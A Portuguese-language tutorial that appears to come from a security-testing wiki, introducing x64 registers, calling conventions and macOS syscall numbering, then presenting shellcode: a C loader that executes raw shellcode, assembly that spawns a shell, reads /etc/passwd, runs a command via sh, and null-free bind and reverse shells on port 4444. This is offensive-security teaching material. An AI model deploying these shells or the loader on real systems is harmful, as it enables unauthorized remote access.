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Introdução ao x64
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Introdução ao x64
x64, também conhecido como x86-64, é uma arquitetura de processador de 64 bits predominantemente usada em computação de desktop e servidor. Originada da arquitetura x86 produzida pela Intel e posteriormente adotada pela AMD com o nome AMD64, é a arquitetura prevalente em computadores pessoais e servidores hoje.
Registradores
x64 expande a arquitetura x86, apresentando 16 registradores de uso geral rotulados como rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, e r8 a r15. Cada um deles pode armazenar um valor de 64 bits (8 bytes). Esses registradores também possuem sub-registradores de 32 bits, 16 bits e 8 bits para compatibilidade e tarefas específicas.
rax- Tradicionalmente usado para valores de retorno de funções.rbx- Frequentemente usado como um registrador base para operações de memória.rcx- Comumente usado para contadores de loop.rdx- Usado em várias funções, incluindo operações aritméticas estendidas.rbp- Ponteiro base para o quadro de pilha.rsp- Ponteiro de pilha, mantendo o controle do topo da pilha.rsierdi- Usados para índices de origem e destino em operações de string/memória.r8ar15- Registradores adicionais de uso geral introduzidos no x64.
Convenção de Chamada
A convenção de chamada x64 varia entre sistemas operacionais. Por exemplo:
- Windows: Os primeiros quatro parâmetros são passados nos registradores
rcx,rdx,r8er9. Parâmetros adicionais são empurrados para a pilha. O valor de retorno está emrax. - System V (comumente usado em sistemas semelhantes ao UNIX): Os primeiros seis parâmetros inteiros ou ponteiros são passados nos registradores
rdi,rsi,rdx,rcx,r8er9. O valor de retorno também está emrax.
Se a função tiver mais de seis entradas, o restante será passado na pilha. RSP, o ponteiro de pilha, deve estar alinhado a 16 bytes, o que significa que o endereço que ele aponta deve ser divisível por 16 antes de qualquer chamada ocorrer. Isso significa que normalmente precisaríamos garantir que RSP esteja devidamente alinhado em nosso shellcode antes de fazermos uma chamada de função. No entanto, na prática, chamadas de sistema funcionam muitas vezes mesmo que esse requisito não seja atendido.
Convenção de Chamada em Swift
Swift tem sua própria convenção de chamada que pode ser encontrada em https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64
Instruções Comuns
As instruções x64 têm um conjunto rico, mantendo compatibilidade com instruções x86 anteriores e introduzindo novas.
mov: Mover um valor de um registrador ou local de memória para outro.- Exemplo:
mov rax, rbx— Move o valor derbxpararax. pushepop: Empurrar ou retirar valores da pilha.- Exemplo:
push rax— Empurra o valor emraxpara a pilha. - Exemplo:
pop rax— Retira o valor do topo da pilha pararax. addesub: Operações de adição e subtração.- Exemplo:
add rax, rcx— Adiciona os valores emraxercx, armazenando o resultado emrax. mulediv: Operações de multiplicação e divisão. Nota: essas têm comportamentos específicos em relação ao uso de operandos.calleret: Usados para chamar e retornar de funções.int: Usado para acionar uma interrupção de software. Ex.:int 0x80era usado para chamadas de sistema no Linux x86 de 32 bits.cmp: Comparar dois valores e definir as flags da CPU com base no resultado.- Exemplo:
cmp rax, rdx— Compararaxcomrdx. je,jne,jl,jge, ...: Instruções de salto condicional que alteram o fluxo de controle com base nos resultados de umcmpou teste anterior.- Exemplo: Após uma instrução
cmp rax, rdx,je label— Salta paralabelseraxfor igual ardx. syscall: Usado para chamadas de sistema em alguns sistemas x64 (como Unix moderno).sysenter: Uma instrução de chamada de sistema otimizada em algumas plataformas.
Prólogo da Função
- Empurre o antigo ponteiro base:
push rbp(salva o ponteiro base do chamador) - Mova o ponteiro de pilha atual para o ponteiro base:
mov rbp, rsp(configura o novo ponteiro base para a função atual) - Alocar espaço na pilha para variáveis locais:
sub rsp, <size>(onde<size>é o número de bytes necessários)
Epilogo da Função
- Mova o ponteiro base atual para o ponteiro de pilha:
mov rsp, rbp(desaloca variáveis locais) - Retire o antigo ponteiro base da pilha:
pop rbp(restaura o ponteiro base do chamador) - Retorne:
ret(retorna o controle para o chamador)
macOS
syscalls
Existem diferentes classes de syscalls, você pode encontrá-las aqui:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
Então, você pode encontrar cada número de syscall neste url:
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
Então, para chamar a syscall open (5) da classe Unix/BSD, você precisa adicioná-la: 0x2000000
Assim, o número da syscall para chamar open seria 0x2000005
Shellcodes
Para compilar:
{% code overflow="wrap" %}
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
{% endcode %}
Para extrair os bytes:
{% code overflow="wrap" %}
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
{% endcode %}
C código para testar o shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
Retirado de [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
{% tabs %}
{% tab title="com adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{% endtab %}
{% tab title="com pilha" %}
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{% endtab %} {% endtabs %}
Ler com cat
O objetivo é executar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
Invocar comando com sh
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
Bind shell
Bind shell de https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na porta 4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
Reverse Shell
Reverse shell de https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell para 127.0.0.1:4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
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